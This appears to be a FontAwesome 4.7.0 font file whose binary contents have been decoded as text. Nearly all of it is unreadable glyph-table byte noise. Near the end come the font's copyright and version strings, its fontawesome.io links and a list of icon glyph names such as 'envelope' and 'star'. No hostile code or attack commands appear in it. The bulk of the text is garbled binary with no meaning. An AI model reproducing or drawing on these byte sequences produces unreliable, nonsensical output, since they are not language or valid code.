iLCly5)*Hcelzzlec0hb,,beIVB9@RB9J_L4 4LL4 4L44%2"4:I;p!q4bb3p(P`t`P(6EC.7BI6 4LL4 4LL    	     . >  $4&'6 #".54$ 4.#!"3!2>#!"&5463!2Zjbjj[wٝ]>oӰٯ*-oXL4 4LL4 4L')꽽)J)]wL`ֺ۪e 4LL4 4LL           ;  4&#!"3!26#!"&5463!2#54&#!";#"&5463!2@^BB^^B@B^B^^B@B^`@MB^^B@B^^>^B@B^^         5 = U m  	!	!!2#!"&=463!.'!"&=463!>2!2#264&"".54>762".54>762  ?(``(?b|b?B//B/]]FrdhLhdrF ]]FrdhLhdrF@@@(?@@?(@9GG9@/B//BaItB!!BtIѶ!!ьItB!!BtIѶ!!ь        - M  32#!"&=46;7&#"&=463!2#>5!!4.'.46ՠ`@`ՠ`MsF FsMMsF FsMojjo@@jj@@<!(!!(!        - 3 ?  32#!"&=46;7&#"&=463!2+!!64.'#ՠ`@`ՠ` 		DqLLqDojjo@@jj@@B>=C          - 3 ;  32#!"&=46;7&#"&=463!2+!!6.'#ՠ`@`ՠ` UVU96gg6ojjo@@jj@@β**ɍ        - G  32#!"&=46;7&#"&=463!2#>5!!&'.46ՠ`@`ՠ`MsF FsMkkojjo@@jj@@<!(!33!(!          9 I  2#!"&=4637>7.'!2#!"&=463@b":1P4Y,++,Y4P1:"":1P4Y,++,Y4P1:"b@@@7hVX@K-AA-K@XVh77hVX@K-AA-K@XVh7         A j  "#54&#"'54&#"3!26=476=4&#"#54&'&#"#54&'&'2632632#!"&5&=4632>326 5K @0.B @0.B#6'&&
l
@0.B 2'	.B A2TA9B;h" dmpPTlLc_4.HK5]0CB.S0CB./#'?&&)$$)0CB. }(AB.z3M2"61d39L/PpuT(Ifc_E       `  1 X   "#4&"'&#"3!267654&"#4&"#4&26326#!"&'&5463246326\B B\B&@5K&@"6LB\B B\B sciL}QP<m$3jN2cB.p.BB. 3K5+" 3," .BB..BB..G=ci(+lOh7/ DVj"c=        & 5 J b   #"'&=.547!"&46;'.54632!2327%.54&#"327%>%&#"!"3!754?27%>54&#!26=31?>Ijjq,J[j.-tjlV\$B.R1?@B.+?2`$v5K-%5KK5.olRIS+6K5̈$B\B 94E.&ʀ15uE&
ԖPjjdXUGJ7!.B

P2 .B
%2@	7K5(B@KjKj?+f UE,5K~!1.>F.F,Q5*H          $ b  2#!"&=%!"&=463!7!"&'&=4634'&#!">3!!"3!32#!"3!23!26=n$<vpPPpPpw*RdApP]'@A&
3@&H-[(8@
2EB^&1=&& 81PppPpP wcOg Ppc4& #.& &,,:8(%^B &.&&       2 t  "&'&54'&5467>32>32>32#"#.#"#.#"3!27654&#"547654&#"#654&Myet|]WSSgSY\x{
70"1i92DU1&=		=&0@c	>&/Btd4!*"8K4+"@H@/'=	t? _K93-]
UlgQQgsW
]# +i>p&30&VZ&0B/%3B."to ){+C4I(/D0&p0D      3 [ _ c g  "'&#"3!2676=4&"#54&#"#54&#"#4&'2632632632#!"&'&5463246#!#!#5K)B4J&@#\8P8 @0.B J65K J6k
cJ/4qG^\hB2<m$3iG;     K5 6L4+" 3p`b)<8(=0CB.@Z7OK5`:7OkEW^tm@Q7/ DVi##j       % 4 I a   2#!"&5&546325462632"32654&"3267654&76;74&"#.#"2676=#"&'+53264&#!"3</UXdjjPԖEu!7JG72P

B%
B.!7	@Af+?jKjK@B(5K,EUH*5Q,F.F>.1!~K5y?^\Vljt-.j[J,qjjI7$?1R.B+.B$`2?gvEo.5KK5%-K6+SIR[&.E49 B\B$5K           G  #!+"&5!"&=463!2+"&'+"'+"'&5>;2>76;2YM	
.x	-
	N	

	u,u
?
LW

#	          	 * : J  4'&+326+"'#+"&5463!2  $6&  $&6$ <!T{BH4	&>UbUI-uu,uuڎLlLAX!Jmf\$
6uuu,KLlL        - [ k {  276/&'&#"&5463276?6'.#"!276/&'&#"&5463276?6'.#"  $6&   $&6]h-%Lb`J%E5,5R-h
-%Lb`J%E5,5R-'uu,uulL/hRdMLcNhRdMLcN1uuu,LlL   @     	'	7	'7	``H ``H !``H  ```H`            '  %		7'	7'7	'  $&6$ X`(W:,:X`(WLLlLX`(W:BX`(XLlL 
  	 $    % / 9 E S [   #"&54632$"&4624&"26$4&#"2%#"&462$#"&4632  #"32&! 24>      !#"&'.'#"$547.'!6$327&'77'&77N77N'qqqqqPOrqEsttsst}||}uԙ[WQ~,>	nP/RU P酛n	>,m'77'&77N77N6^Orqqqqqqt棣棣(~||on[usј^~33pc8{y%cq33dqp  f   	  L     54    "2654"'&'"/&477&'.67>326?><
x
,(-'sIVCVHr'-(
$0@!BHp9[%&!@0$u

]\\]-$)!IHVDVHI!)$-#3      6 > N   "&462."&/.2?2?64/67>&  #!"&5463!2]]]3
$;
&|v;$
(CS31	=rM=	4TC(Gzw@www]]]($-;,540=	sL	=45,;@www       (  2#"$&546327654&#"	&#"AZ\@/#%E1/##.1E$![A懇@@\!#21E!6!E13"|!     	 g L   &5& '.#4&5! 67&'&'5676&'6452>3.'5 A5RV[t,G'Q4}-&<C!l n?D_@Փ>r!G;>!g12sV&2:#;d=*'5E2/..FD֕71$1>2F!&12,@K       
  r    #"&5462>%.#"'&#"#"'>54#".'7654&&5473254&/>7326/632327?&$  $6 $&6$ !&"2&^	u_x^h;J݃HJǭqE
Dm!MG?̯'%o8
9U(F(ߎLlL&!&!SEm|[n{[<ɪ
"p C
Di%(KHCέpC
Bm8	@KނHF(LlL         " *  6%&6$	7&$5%%6'$2"&4}x3nQH:dΏXe8 z'	li=!7So?v      M    '&7>>7'7>''>76.'6' El:Fgr*t6K3UZ83P)3^I%=9	)<}Jk+C-Wd	&U -TE+]Qr-<Q#0
C+M8	3':$_Q=+If5[ˮ&&SGZoMk ܬc         # 7  &#"327#"'&$&546$;#"'654'632եfKYYKf¥yͩ䆎L1hvvƚwwkn]*]nlxDLw~?T8bb9SA}       + 5 ? F  !3267!#"'#"4767% !2$324&#"6327.'!.#" ۔c28Ψ-\? @hU0KeFjTlyE3aVsz.b؏W80]TSts<hO_u7bBtSbF/o|V]SHކJ        3  4&#!"3!26#!!2#!"&=463!5!"&5463!2 @^B `` B^^B@B^ @@B^@@^BB^^       >  3!"&546)2+6'.'.67>76%&F8$.39_0DD40DD0+*M7{L *="#
U<-M93#D@U8vk_Y	[hD00DD00Dce-JF1BDN&)@/1 d      y  % F    #"'&'&'&'&763276?6#"/#"/&54?'&763276"&'&'&5#&763567632#"'&7632654'&#"32>54'&#"'.5463!2#!3>7632#"'&'&#"'&767632yqoq>*432fba
$B?
	>B
BBAA.-QPPR+	42
%<ciђ:6&hHGhkG@n`IȌ5
!m(|.mzyPQ-.		je	q>@@?ppgVZE|fb6887a
%RB?
=B
ABBAJvniQP\\PRh!cDS`gΒ23geFGPHXcCI_ƍ5"	
n*T.\PQip[*81
/9@:       > t   %6#".'.>%6%&7>'.#*.'&676./&'.54>754'&#"%4>327676=>vwd"
l"3	/!,+	j2.|%&(N&wh>8X}xc2"W<4<,Z~fdaA`FBIT;hmA<7QC1>[u])		u1V(k1S)
-	0B2*%M;W(0S[T]I)	A 5%R7<vlR12I]O"V/,b-8/_        # 3 C G k  2#!"&546;546;2!546;2%;2654&+";2654&+"!32++"&=#"&=46;546;2 4LL44LL4^B@B^^B@B^ @@ @@ @@ L4 4LL4 4L`B^^B``B^^B``    @@@          # 3 W  #!"&=463!2!!%4&+";26%4&+";26%#!"&546;546;2!546;232@ @@ @@L44LL4^B@B^^B@B^4L@@   N 4LL4 4L`B^^B``B^^B`L       # ' 7 G k  %"/"/&4?'&4?62762!!%4&+";26%4&+";26%#!"&546;546;2!546;232W.	

	.				.	

	.			 @@ @@L44LL4^B@B^^B@B^4L.				.	

	.				.	

   N 4LL4 4L`B^^B``B^^B`L         ( 8 \  	"'&4?6262!!%4&+";26%4&+";26%#!"&546;546;2!546;232 

		.	

	.	`@@ @@L44LL4^B@B^^B@B^4L< 		 
	.				.	:   N 4LL4 4L`B^^B``B^^B`L         2632632#!"&5463&&&&&& &&&&&&         #   27+"&5     %264&#"26546>&&T,X q&&1X,LΒw     %    % ;  #!"&5463!546;2!2!+"&52#!"/&4?63!5!

(&&@&& ( &&@&&(

(  

& &@&&@ &&& &

        # '  '%#"'&54676%6%%
hh @` !  !  


         # 5  2#"&5476!2#"&5476!2#"'&546      @  @   
@ 
             8   4&"2$4&"2$4&"2 #"'&'&7>7.54$ KjKKjKjKKjKjKKjdne4"%!KjKKjKKjKKjKKjKKjK.٫8
!%00C'Z'             . W   "&462"&462"&462 6?32$6&#"'#"&'5&6&>7>7&54>$ KjKKjKjKKjKjKKjhяW.{+9E=cQdFK1A
0)LlLjKKjKKjKKjKKjKKjKpJ2`[Q?l&٫C58.H(Yee   	    
   			        Y'w(O'    R@ $   #"&#"'>7676327676#"
b,XHUmM.U_t,7A3gez9@xSaQBLb(	VU         
  !!!  == w)          A U  !!77'7'#'#274.#"#32!5'.>537#"76=4>5'.465!  KkkK_5 5 #BH1`L
I&v6SF !Sr99rS!`` /7K%s}HXV
PV	e		V    d   / 9 Q [   $547.546326%>>32"&5%632264&#"64'&""&'&"2>&2654&#" ;2P3>tSU<)tqH+>XX|Wh,:UStW|XX>=X*
))
+^X^|WX=>X:_.2//a:Ru?
	Q%-W|XW>J(	=u>XX|WX`

*((*


+2		2X>=XW|    E  0  3>$32!>7'&'&7!6./EUnohiI\0<{ >ORDƚ~˕VƻoR C37J6I`Tb<^M~M8O     	  	     5!#!"&!5!!52!5463	 ^B@B^  `B^ ^B `B^^"^BB^         0 ;  %'#".54>327&$#"32$	 !"$&6$3  ##320JUnLnʡ~~&q@tKL}'` -
-oxnǑUyl}~~FڎLlLt`(88(           	7!'	!\W\d;tZ`_O;        }  54+";2%54+";2!4&"!4;234;2354;2354>3&546263232632#"&#"26354;2354;2354;2`` `` pp``` !,! -&M<FI(2```@PppPpppppp#  #
ppppp     	  j  #"'&=!;5463!2#!"&=#".'.#!#"&463232>7>;>32#"&'#"!546	%. `@` :,.',-XjjXh-,'.,: kb>PppP>bk .%Z &
:k%$> $``6&L')59I"TlԖlT"I95)'L&69GppG9$ >$%k:            !   +32 &#!332  $&6$ ~O88OLlL>pNiLlL   	 ' ' : M a  4&'#"'.7654.#""'&#"3!267#!"&54676$32 #"'.76'&>$#"'.7654'&676mD5)
z{6lP,@KijjOoɎȕ>>[ta)GG4?a )ll>;_-/
9GH{zyN@,KԕoN繁y!?hh>$D">â?  $   	 n  "&5462'#".54>22654.'&'.54>32#"#*.5./"~~s!m{b6#	-SjR,l'(s-6^]Itg))[zxȁZ&+6,4$.X%%Dc*
&D~WL}]I0"
YYZvJ@N*CVTR3/A3$#/;'"/fR-,&2-"7Zr^Na94Rji3.I+

&6W6>N%&60;96@7F6I3        +  4&#!"3!26%4&#!"3!26  $$     ^aa`@@^aa       ' 7     $  >. %"&546;2#!"&546;2#/a^(^aa(N@@          4&#!"3!26  $$ @@^aa`@^aa       '     $  >. 7"&5463!2#/a^(n@^aa(N@           % =  %#!"'&7!>3!26=!26=!2%"&54&""&546 ##]VTV$ KjKKjK $&4&Ԗ&4&>9G!5KK55KK5! && jj &&         # / ; I m  2+#!"&'#"&463>'.3%4&"26%4&"26%6.326#>;463!232#.+#!"&5#"5KK5sH. .Hs5KK5e# )4# %&4&&4&&4&&4&` #4) #%~]eZ&&Ze]E-&&-E KjKj.<<.KjK)#)`"@&&`&&&&`&&)#`)"dXo&&oXG,8&&8  !  O  ##!!2#!+"'&7#+"'&7!"'&?63!!"'&?63!6;236;2!2@@8@7

8Q
	NQ
	N
	8G@

8GQ
	NQ
	N7
	    88 HH     k      %  		 ".>2I20]@] @oo@@oo㔕a22 ]] p^|11|99|11|     (       %7'7'	'	7T dltl)qnluul        ) 1  $4&"2 4&"2  &6 +"&5476;2 &6  LhLLhLLhLLhL> &  &`>hLLhLLhLLhL>&&>    G  
     	.7)1!62	1!62he220e22>	v+4	[d+d           1  35#5&'72!5!#"&'"'#"$547&54$ Eh`X(cYz:L:zYc\$_K`Pa}fiXXiޝfa    	         ( + . >  #5#5!5!5!54&+'#"3!267!7!#!"&5463!2U``'  jjV>(>VV>>Vq     (^(>VV>>VV          =  &'&'&'&76'&'&.' #.h8"$Y
''>eX5,	,PtsK25MRLqS;:.K'5RChhRt(+e^TTu B"$:2~<2HpwTT V        / 7 G W g   . %&32?673327>/.'676$4&"2 $&6$    $6&  $&6$ d--m	
	,6*6,	
	mKjKKjoooKzz8zzȎLlLU4>>4-.YG0
)xx)
0GYޞ.jKKjKqoooolzzz80LlL    D   / 7 H   #"'.7'654&#"'67'.6?>%"&46227#".547|D,=),9#7[͑fx!X: D$+s)hhijZt<F/*8C,q؜e\r,WBX/C2hhh=tXm        > N Z  +"&=46;2+"&=4>7>54&#"#"/.7632  >.  $$ p =+& 35,W48'3	l
zffff^aaP2P: D#;$#$*;?R
Cfff^aa   'Y  	 > O `   "&5462&'.'.76.5632.'#&'.'&6?65\\[<CzC25U#
.ZK m+[$/#>(	|	r[A@[[@A#2#7*<Y$+}"(q87] F 	_1)
	     	    # 1 K e   34&+326+"&=!#!"&763!2#!"&5463!2#>?4.'3#>?4.'3#>?4.'3Xe`64[l7
,	L;=+3&98&+)>>+3&98&+)>=+3&88&+)>	Wj|r>Q$~d$kaw+-wi[[\;/xgY$kaw+-wi[[\;/xgY$kaw+-wi[[\;/xgY     J \ m   4.'.'&#"#"'.'&47>7632327>7>54&'&#"327>"&47654'&462"'&476'&462"'&47>&'&462i$		$^"
%%
"^$		$W "@9O?1&&18?t@" W&%%&4KK6pp&46ZaaZ&4mttm^x	--	x^=/U7Ckkz'[$=&5%54'4&KK4r<r4&X4[ [4&mm             ' / 7 ? G O W _ g o w        "264$"264"264 "264$"264 "264$"264"264 "&462"&462 "&462"&462 "&462 "&462 "&462 "&462 "&462"&462 "&462"&462^^^^^^^^^^^^^^^^^^^^^^^^^^ ppppppppppppppppppppppppppppppppppppppppppppppp`^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^pppppppppppppppppppppppppppppppppppppppp  	         L T i {   "&4626"&462$"&462#"&4632654>7>54   "&54>2"&462%"&54&#""&546 %#"&'&'.7>#"'&'.7>&4&&4&4&&4S Z &4&&44$#&&&j3$"('$&4&[՛[&4&&4F&4&]\&4&$
	!D4%	,\44&&4&4&&4&- Z 4&&4& ;cX/)#&>B)&4&j9aU0'.4a7&&u՛[[4&&4&@&&]]&&Ώ0
u40
)4         # g   &'.#"32676%4/&#"326'&#"2632#2+&'%#"'&6?676676632%#"'&6767#"&'&6767#"'.7>327"#"&'&6763"'.7>;7632;>%5K$
"0%>s$
"0%>;;>%5KVL#>H30\($$(\(єyO2F/{(?0(TK.5sg$єy#-F/{$70(TK.5sg$L#>H30\($$(\#(@5"'K58!'"58!'"55"'K#dS$K		K$Sdx#@1wd>N;ET0((?
-
2K|1wd#N;ET0$(?
-
2K$#dS$K		K$Sdx          D N \  2654& 265462"2654   #"32654>7>54."/&47&'?62 &4&&4&h՛[&4&r$'("$3j&&&#$4["@GB["&&Β&&][u&&7a4.'0Ua9j&4&)B>&#)/Xc;u՛""Gi[       X h  #"&54676324&'&#"'>54#"32#"54>54'.#"32>7>767632326#!"&5463!2b)
:4FDN[1,^JK-*E#9gWRYvm0O	w@wwwC22c@X&!9{MA_"S4b// DR"XljPY<	@www     %   e  4.#"32>7676#'.#"#"&54>3232>754&*#"&54>763 >32''il$E/
@P@
^`'W6&!.. ! -P5+


E{n46vLeVz:,SN/
M5M[	]$[^5iC'2H&!(?]v`*	l	b$9>    = R   2#"&5467%!"&7>3-.7>;%.7>322326/.76/.'&6766/&/&#"&676	&676&6766/&672? =1(H/ 	'96&@)9<')29%
&06##$ J 07j)5@"*3%"!M
%#K"%Ne8)'8_(9.<c +8 8(%6 <)'4@@)#-<^
?%$-`%.}Q!&}%&N-lIJ;6>/=*%8!Q #P"\Q#N&a)<9     b R ] m p  %"'.'&54>76%&54763263  #"/7#"' #"&/%$% 322654&#"%'OV9
nt
|\d
ϓ[nt
|@D:)	;98'+|j," 41CH^nVz(~R	9\'	r
@L@	@w46HI(+C
,55,
f[op@\j;(zV~      i  / 5 O  #"'&54>32&#" 654'67'"'>54''&'"'6767&546767>7蒓`V BMR B9)̟!SH-77IXmSMH*k#".o;^J qןד>@YM$bKd ү[E";Kx%^6;%T,U:im=Mk        ) . D T  4'"&5463267&#" 6;64'.'4'>732676%#!"&5463!2),蛜s5-<A4ϲ
2W9
&P:\3)SEPJD4:3NIw@wwwNE	2@uus+,/?xsatmP')fHVEA(%dA4w&4J5*@www        O [  4'.'&54>54&#"#"'654'.#"#"&#"3263232>3232>76  $$ Cf'/'%($UL
(
#'/'@3#@,G)+H+@#3^aaX@_O#NW#O_.*	##(^aa   q [  632632#"&#"#".'&#"#".'&54767>7654.54632327&547>P9	B6?K?%O4T% >6>Z64Y=6>%S4N$?L?4B	@{:y/$ ,'R!F!8%#)(()#%:!F Q'+%0z:z       O _  4'.'&54>54&#"#"'654'.#"#"&#"3263232>3232>76#!"&5463!2 Cf'.'%($VM
)
#'.'@3#A,G)+H+A#4 w@wwwXA?4N$NW&M&L/*
##	+@www      	   O  $>?>762'&#"./454327 327>7>	 EpB5
3FAP/h\/NGSL	  RP*m95F84f&3Ga4B|wB .\FI*/.?&,5~K %&Y."7n<	"-I.M`{ARwJ!       F X ^ d j  ''''"'7&'7&'7&'7&547'67'67'67'63277774$#"32$			*'ֱ,?g=OO&L&NJBg;1''ֱ.=gCIM$'&&NJBg=.%w؝\\wIoo<<   -NIDg=/%(ײ+AhEHO*"#*OICh=/'(ֲ/=h>ON.]xwڝ]7e[@        ) 6  !!"3#"&546%3567654'3!67!4&'7Sgny]K-#75LSl>9V%cPe}&Hn_HȌ=UoLQ1!45647UC"    
        ! - 9 [ n x     "&46254&"326754&"326754&"26754&"26#".547632632626326'4#"#"54732764&"264.#"327632>#"'"'#"'#"&5#"'67&'327&'&54>3267>7>7>32632632T"8""8)<())(<))))<))<))<))<)Tد{ՐRhx=8 78 n 81pH_6SocF@b@?d?uKbM70[f5Y$35KUC<:[;+8 n 87 8/8Zlv]64qE 'YK0-AlB;
W#;WS9&(#-7Z://:/Tr++r,,r++r,,r++r,,r++r,,ʠgxXVעe9222222^KVvF02OO23OO`lF;mhj84DroB@r+@222222C0DP`.r8h9~T4.&o@91P       % 1  4'!3#"&46327&#"326%35#5##33  $$ }Pcc]<hlࠥYmmnnnn^aaw!LYƏ;edwnnnnnv^aa     %    '  #"$#"#.5462632327>32 1IUΠ?LL?cc4MX& 04;0XpD[[DpD,)&&    Q	    9 V \   26&".'&'&6?.#"#26327677>'32>&3#'&+"?626&"#!'.'!"&5463!>;26;2!2P  P 	
92#.}SP9::%L\B )spN/9oJ5 
!+D`]BgY9+,9%
Pk4 P  P &NnF!_7*}B<{o0&&B;*<@$ucRRc#@16#37c&@@@J"@*4^`EDBo/8927
*@O LC!T!323X$BJ@@@ &AS
0C59"'D/&&D488$5A&         % O  #!"&547>7>2$7>/.".'&'&2> ^B@B^>FFzn_0P:P2\nzFF>R&p^1P:P1^&R
P2NMJMQ0Rr.B^^B	7:5]yPH!%%"FPy]5:7	=4QH!%%!Ht4=<"-/ ?          1 P p  +".'.'.?>;2>7$76&'&%.+"3!26#!"&5476 7>;2'
+~'*OJ%%JN,&x'%^M,EE,M7ZE[P*FF*P:5^B@B^){$.MK%%KM.$+X)o3"a  22!]4	I>"">,&S8JB##B12``B^^B8&ra#11#$R&              " & . 2 v  %/%''%/%7%7'%7'/#&5'&&?&'&?&'&7%27674?6J"0<=_gNU? DfuYGb7=^H^`	=v~yT3GDPO	4Fѭqi_w\ހ!1uS%V_-d
1=U{J8n~r        ' U  4.#".'"3!264&"26+#!"&5463!232+32+320P373/./373P0T=@=T֙֙|`^B@B^^BB^`````*9deG-!

!-Ged9IaallkOB^^BB^^B       	 + Y i  "&54622#!"&54>;2>+32+32+#!"&5463!2324&#!"3!26֙֙0.I/ OBBO	-Q52-)&)-2`````^B@B^^BB^` @|kkl"=IYL)CggC0[jM4				B^^BB^^B@@       ! 1 A Q u   4.#".'"3!24&"254&#!"3!2654&#!"3!2654&#!"3!26#!54&+"!54&+"!"&5463!2 )P90,***,09P)J6 6S"@8@ ^B@ @B^^BB^Ukc9		9ckU?@@88@@N@B^````^BB^^       ! 1 A Q u    #!"&4>32>72"&462#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!546;2!546;2!26#!"&5463!2 J6 6J)P90,***,09P)"@8@@`@ @`^B@B^^BB^ՀUUkc9		9c`@@88@@2@````@B^^BB^^            (  %.'"&' $&   #"$&6$ wCιCwjJ~J>LlLśJSSJ͛>6LlL         $ ,     $&6654&$ 3 72&&  lLmzzBl> KlLGzzG>           ' 7  #!"&54>7&54>2   62654' '3/U]B,ȍ,B]U/OQнQ>+X}}X0bӃۚӅb0}hQQh>ff            # =   #!"&4>3272"&462!3!26#!"&5463!;26=!2 J6 6J)Q8PP8Q) ^B@B^^B``B^VVVld9KK9d`@B^^BB^``^        + ; K [ e u  4.#"'"3!264&"254&#!"3!2654&#!"3!26%54&+";2654&#!"3!26!54&#!"!#!"&5463!2"D/@@/D"?,,?pppp@@@ @^B@B^^BB^D6]W2@@2W]67MMppp@@@@@@@@n`@B^^BB^^       + ; K [ e u  #!"&54>3272"&462#!"&=463!2%#!"&=463!2+"&=46;25#!"&=463!2!3!26#!"&5463!2?,V,?"D/@@/D"pppp@@@ ^B@B^^BB^D7MM76]W2@@2W]֠ppp@@@@@@@@`@B^^BB^^      A  #"327.#"'63263#".'#"$&546$32326J9"65I).!1iCCu
+I\Gw\B!al݇yǙV/]:=B>9+<F+a[lePn[A&JR7t)+tHkFIK      e	    .    #"'&'>32%#!"&5463!2#"&54>54'&#"#"54654'.#"#"'.54>54'&'&543232654&432#"&54>764&'&'.54632 ?c'p& ?b1w{2V	?#&#9&CY'&.&#+B
: &65&*2w1GF1)2<)<'

(
BH=ӊ:NT :O	)4:i F~b`e!}U3i?fRUX|'&'&Ic&Q
	*2U.L6*/L:90%>..>%b>++z7ymlw45)0	33J@0!!TFL P]=GS-kwm	!*         (  %6&692?  $&6$ 	' al@lLlL,&EC
h$LlL          / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&5467534&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dd<M- PppP -Mǅ9            	  + / 3 7  %"&54624&'4&" 67   54746 #5#5#5ppppD<pp<D

PppPOqqOM- PppP -Mǅ9         & . 6 > F N V ^ f n v ~      "/&4?.7&#"!4>3267622"&4"&46262"&42"&4462"$2"&42"&4"&46262"&4"&46262"&42"&4$2"&42"&42"&4



R

,H8Jfj QhjG^R,

!4&&4&Z4&&4&4&&4&4&&4& &4&&4 4&&4&4&&4&Z4&&4&4&&4&4&&4&4&&4&4&&4&&4&&4&Z4&&4&Z4&&4&



R

,[cGj  hQRJ'A,

&4&&4Z&4&&4Z&4&&4Z&4&&444&&4&&4&&4Z&4&&4Z&4&&4Z&4&&4&4&&4Z&4&&4Z&4&&4&&4&&4Z&4&&4Z&4&&4        % - 5 = E M }           +"&=#!"'+"&=&= "&4626"&462&"&462"&462&"&462&"&462#!"&=46;4632676/&?.7&#"!2 "&462&"&462&"&462"&462&"&462&"&462"&462&"&462"&462@?A A?@@R...R@`jlL.h)**$	%35K.....uvnu....@@jN **.t2#K5..R..R.        @ H q   '&'&54  &7676767654$'.766$76"&462&'&'&7>54.'.7>76ȵ|_ğyv/ۃ⃺k]
:Buq
CA
_kނXVobZZbnW |V	0 	Q2-
l}O		/	:1z	
q% zG
4(

6Roaą\<

)4	J}        %!!#!"&5463!2    ^B@B^^BB^ `@B^^BB^^       %#!"&=463!2 ^B@B^^BB^B^^BB^^           &  ))!32#!#!"&5463!463!2      `B^ ^B^B@B^^B`^BB^   ^B @B^B^^BB^`B^^       # 3  %764/764/&"'&"2?2#!"&5463!2














s^B@B^^BB^ג














@B^^BB^^     # ' 7  "/"/&4?'&4?62762!!%#!"&5463!2














   ^B@B^^BB^














 `@B^^BB^^          	!  $&6$ .2r`LlLf4LlL         # . C    &>"'&4762"/&4?62'"'&4762%'.>6.'.>6'>/>76&'&.'&7&'">?4'.677>7.>37654'&'67>776 $&6$ (4Z##&##&y"6&.JM@& "(XE*$+8
jT<l$3-V<2'.
-1%#e"!Z
+*)H	 8(j	#*-ƷVv/kh?'MlM$($R#&"#'#vZ@+&MbV$

G7--)

R2T
313dJ6@8lr2_5m/."G:=	)%5f0gt*2)?;CB66&, 	`48]USyLlL         G  6?>?3#'.'&!3!2>?3.'#!57>7'./5!27#'.#!"g%%D-!gg<6WWZe#1=/2*]Y3-,C1/Dx] VFIq-HD2NK'>*%R=f07=.fD]\|yu       , 0 > S e u  #2#"'&5<>323#3#&'#334'."#"+236'&54.#"5#37326#!"&5463!2		<	zzjk-L+ )[$8=".un/2 ^B@B^^BB^5cy	

(ݔI(8?C(3> #"($=@B^^BB^^     0K    S   &'.'&' ./674&$#">&>?>'76'#  "&#./.'7676767>76$w.~kuBR] T%z+",|ޟj<)(!(	~ˣzF8"{%%#5)}''xJF0"H[$%EJ#%.Gk29(B13"?@S)5" #9dmW";L65RA0@T.$}i`:f3A%%
BM<$q:)BD	aa%`]A&c|	Ms!
Z2}i[F&**
< ʣsc"J<&NsF  %  0 @ W m  6&'.6$.7>7$76".4>2.,&>6 '"'&7>=GV:e#:$?+%
q4g
&3hT`ZtQмQQмpAP1LK!:<}҈`dlb,9'

%%($!a3)W)xоQQоQQcQǡ-җe)Us2XD\ϼYd           / ? O _ o      #"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543%#!"&5463!2++532325++532325++532325++532325++53232p00pp00pp00pp00pp008((88(@(8 0pp00pp00pp00pp00pp0          @(88((88          / Q    /&'%&/"&=.6?&?&'&6?'.>-#".6?'.>'&6'.>54627>%>76#"'%%6272Gf!)p&4&p)!fG272	*6	"472Gf!)p&4&p)!fG272"	6*	!k3j&3
%,*&&ր*9%
3&j3k!./!>>$,*!k3.j&3
%Ԝ9*&&ր*ǜ,%
3&j3k!*,$>>!/.           &  6.'&$	&76$76$PutۥiPuGxy
Զ[xy
-_v١eNuv١e	 =uʦ[t78X       
    & 6  ##'7-'%'&$  $6 $&6$ 31NE0gR=|||">"LlL^v!1f2iЂwgfZQQ^>"||||wLlL  &Z X b l w          .'&>'&'&".'.'&&'&'&7>767>67>7626&'&>&'&> '.7>.676'&'&'&'.67.>7>6&'&676&'&676.676&'&>&'&676'.>6/4-LJg-$	6)j2%+QF)b3FSP21DK2AW")")$??8A&AE5lZm=gG2Sw*&>$5jD GHyX/4F r	1	1""!l=6>	6
,5./'e
.*|Ed!u&&%&	&5d	))66@C&8B@qL?P^7	G-hI[q:<rS	U~97A_IR`gp1	1	;"("j?>"T6
,6 
   &        / `                                      L       w       Q'             	 
              A  	   ^    	     	     	  "   	    	  $&  	  _  	    	  y  	 	   	  *  	  < C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d .  Copyright Dave Gandy 2016. All rights reserved.  F o n t A w e s o m e  FontAwesome  R e g u l a r  Regular  F O N T L A B : O T F E X P O R T  FONTLAB:OTFEXPORT  F o n t A w e s o m e  FontAwesome  V e r s i o n   4 . 7 . 0   2 0 1 6  Version 4.7.0 2016  F o n t A w e s o m e  FontAwesome  P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s .  Please refer to the Copyright section for the font trademark attribution notices.  F o r t   A w e s o m e  Fort Awesome  D a v e   G a n d y  Dave Gandy  h t t p : / / f o n t a w e s o m e . i o  http://fontawesome.io  h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /  http://fontawesome.io/license/                                                	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab   cdefghijklmnopqrstuvwxyz{|}~  "	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRS TUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ glassmusicsearchenvelopeheartstar
star_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflag
headphones
volume_offvolume_down	volume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_height
text_width
align_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencil
map_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_right	plus_sign
minus_signremove_signok_signquestion_sign	info_sign
screenshotremove_circle	ok_circle
ban_circle
arrow_leftarrow_rightarrow_up
arrow_down	share_altresize_fullresize_smallexclamation_signgiftleaffireeye_open	eye_closewarning_signplanecalendarrandomcommentmagnet
